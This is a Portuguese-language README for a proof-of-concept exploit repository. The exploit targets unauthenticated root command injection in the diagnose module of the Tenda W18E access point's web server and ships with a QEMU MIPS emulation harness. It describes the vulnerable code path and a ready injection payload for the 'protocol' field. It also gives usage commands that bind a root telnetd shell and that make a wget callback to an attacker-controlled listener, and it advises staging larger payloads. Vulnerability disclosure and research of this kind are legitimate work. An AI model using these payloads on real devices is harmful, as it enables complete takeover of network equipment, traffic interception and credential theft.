
Prova de conceito para injeção não autenticada de comandos do SO como root no módulo httpd diagnose do AP Tenda W18E, com um script de exploit auto-verificável e um harness de emulação MIPS em QEMU.
diagnose)Injeção de comando de SO no servidor web do Tenda W18E High-Power AP (/bin/httpd). Um
atacante remoto pode executar comandos de shell arbitrários como root, e em um dispositivo em
estado de fábrica / pós-reset o ataque não requer nenhuma autenticação.
| Produto | Tenda W18E High-Power AP |
| Firmware (testado) | US_W18EV2_kf_V16.01.0.20(4766)_HighPower |
| Componente | /bin/httpd (MIPS32 little-endian, musl, baseado em GoAhead) |
| Classe | CWE-78 Injeção de Comando de SO → execução de comando arbitrário como root |
| Endpoints | POST /goform/setModules, POST /goform/getModules (módulo diagnose) |
| Autenticação | Nenhuma enquanto quickset.done == 0 (fábrica / pós-reset); caso contrário, qualquer sessão válida |
| Campo vulnerável | protocol (também targetDevice) no objeto JSON diagnose |
| CVE | pendente |
⚠️ Apenas para testes autorizados. Use isto apenas contra dispositivos que você possui ou tem permissão explícita para testar. Consulte Legal / uso responsável.
O recurso de "verificação de rede / captura de pacotes" armazena campos JSON fornecidos pelo usuário no armazenamento de configuração e posteriormente os insere em um comando de shell.
Armazenamento (sem sanitização): formSetNetCheckTools (httpd @ 0x4e0968) lê o campo JSON
protocol e o grava na chave de configuração net.check.protocol. A verificação de metacaracteres de shell
do próprio fornecedor (prod_system_param_valid) é aplicada ao campo irmão ip
mas não a protocol / targetDevice.
Uso (sink): iniciar uma captura faz com que do_packet_action (httpd @ 0x4ddbd0) leia o
valor de volta e construa um comando tcpdump com snprintf, e então o execute através de
doSystemCmd → system(3):
// do_packet_action, simplified
snprintf(cmd, 256, "tcpdump -i %s %s -U -c %d -w %s &", ifname, protocol, num, file);
doSystemCmd(cmd); // -> vsnprintf() -> system(cmd) -> /bin/sh -c ...
Qualquer metacaractere de shell em protocol é, portanto, executado. O httpd é executado como root, então o
comando injetado também é.
POST /goform/setModules {"diagnose":{... "protocol":";<cmd>;#" ...}}
│ formSetModules -> cJSON_Parse(request body)
│ formSetNetCheckTools -> prod_cfm_set_val("net.check.protocol", value) [no validation]
▼
config store
│ getModules -> do_packet_action
│ GetValue("net.check.protocol") -> snprintf("tcpdump ... %s ... &", value)
▼
doSystemCmd(cmd) -> system() -> /bin/sh -c ← injection executes as root
setModules apenas armazena o payload; o worker de captura (e, portanto, system())
é iniciado pela requisição seguinte getModules. A resposta HTTP de getModules é um campo
de status e lê "insufficient memory" (内存不足…) mesmo em caso de sucesso — portanto, nunca trate
a resposta HTTP como o resultado. Verifique fora de banda.
.
├── poc.sh # exploit: 2 requests, self-verifying by default
├── EXPECTED_OUTPUT.txt # reference capture of a successful run
├── harness/ # reproduce with NO hardware (full-system MIPS emulation)
│ ├── build_and_run.sh # build emulated rootfs + boot httpd on 127.0.0.1:8080
│ ├── cfmstub.c # LD_PRELOAD GetValue/SetValue shim (freestanding, 1 file)
│ ├── init_poc.sh # guest init: mount, seed config, bring up eth0
│ └── sercon.py # drive the guest serial console
├── LICENSE
└── README.md
Coloque o AP no seu estado padrão/de fábrica (ou faça login e reutilize a sessão) e conecte-se
à sua LAN. Anote o seu IP (comumente 192.168.0.1).
Dispare o PoC auto-verificável:
./poc.sh 192.168.0.1
Ele grava um arquivo de prova na raiz web e o lê de volta, imprimindo, por exemplo,
W18E-RCE-OK-uid0 → o comando foi executado como uid 0 (root).
Execute seu próprio comando:
./poc.sh 192.168.0.1 'telnetd -l/bin/sh -p9999' # bind a root shell (telnetd ships on the device)
telnet 192.168.0.1 9999 # ... then connect to it
Ou um callback de rede cego para um listener que você controla (substitua pelo seu IP da LAN):
# on your machine: nc -lvnp 4444
./poc.sh 192.168.0.1 "wget -qT4 http://YOUR_IP:4444/uid_\$(awk '/^Uid/{print \$2}' /proc/self/status)"
# your listener shows: GET /uid_0 HTTP/1.1
Limite de tamanho do payload. O comando é montado com
snprintfem um buffer de 256 bytes (tcpdump -i <if> <your-payload> -U -c N -w <file> &). Mantenha o comando injetado abaixo de ~110 caracteres ou a cauda será truncada e nada será executado. Para qualquer coisa maior, faça o staging:wget/tftpde um script ou binário MIPS-LE para/tmp,chmod +x, execute-o.Sem
id/whoamino dispositivo. Seu BusyBox é reduzido (id,whoami,ncnão estão compilados). As ferramentas disponíveis incluemsh,awk,grep,cat,cut,sed,wget,tftp,telnetd,ping. Comprove o root via/proc/self/status(uid 0) como o PoC faz.
O harness inicializa o httpd original e suas .sos fornecidas sob emulação MIPS de sistema completo. Apenas GetValue/SetValue são substituídos por shims (cfmstub.c via LD_PRELOAD), porque o daemon de configuração cfmd no dispositivo precisa de flash NAND que o emulador não possui — todo o código vulnerável é firmware não modificado. (O QEMU em modo usuário não funciona aqui: o servidor GoAhead multithread entra em deadlock em FUTEX_LOCK_PI; um kernel real é necessário.)
sudo apt install qemu-system-mips e2fsprogs python3 gcc-mipsel-linux-gnu
# if gcc-mipsel-linux-gnu is unavailable on your distro, the build script also
# accepts clang + lld: sudo apt install clang lld
Você também precisa de um kernel MIPSEL malta que inicialize um rootfs ext2 — qualquer
vmlinux.mipsel.4 do firmadyne/FirmAE funciona.
cd harness
export ROOTFS_SRC=/path/to/_..._.extracted/squashfs-root # the extracted firmware root
export KERNEL=/path/to/vmlinux.mipsel.4
sudo -E ./build_and_run.sh # prints: httpd is live at http://127.0.0.1:8080/
../poc.sh 127.0.0.1:8080 # self-verifying -> W18E-RCE-OK-uid0
# or read anything out of the guest over its serial console:
sudo python3 sercon.py 'cat /tmp/RCE_OK' 'grep Uid /proc/self/status'
A saída esperada está em EXPECTED_OUTPUT.txt. No emulador, o
host é acessível a partir do guest em 10.0.2.2 (NAT em modo usuário do QEMU), portanto payloads
de callback de rede devem ter como alvo 10.0.2.2:<port>.
Execução remota de comandos root sem autenticação (estado de fábrica) em um access point: tomada completa do dispositivo — backdoor persistente, interceptação de tráfego (é literalmente o recurso de captura de pacotes), roubo de credenciais/configurações, pivô na LAN ou bricking.